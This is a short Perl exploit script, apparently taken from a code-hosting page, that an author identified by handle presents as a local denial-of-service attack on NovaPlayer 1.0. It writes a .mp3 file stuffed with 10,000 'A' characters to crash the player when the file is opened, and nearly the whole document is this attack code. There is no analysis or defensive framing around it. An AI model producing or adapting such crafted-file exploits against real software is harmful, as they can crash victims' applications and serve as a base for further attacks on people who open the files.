16 lines
No EOL
461 B
Perl
Executable file
16 lines
No EOL
461 B
Perl
Executable file
#!/usr/bin/perl
|
|
print qq (
|
|
######################################################
|
|
#NovaPlayer 1.0 (.mp3) Local Denial of Service (DoS) #
|
|
# by Mr.tro0oqy #
|
|
######################################################
|
|
);
|
|
#author: Mr.tro0oqy
|
|
#email : t.4@windowslive.com<mailto:t.4@windowslive.com>
|
|
#greetz : Red-D3v1L , virus_hima , Stack
|
|
system ("color e");
|
|
my $bb="tro0oqy.mp3";
|
|
my $fk="\x41" x 10000;
|
|
open (myfile,'>>tro0oqy.mp3');
|
|
print myfile $fk;
|
|
print "great\n " |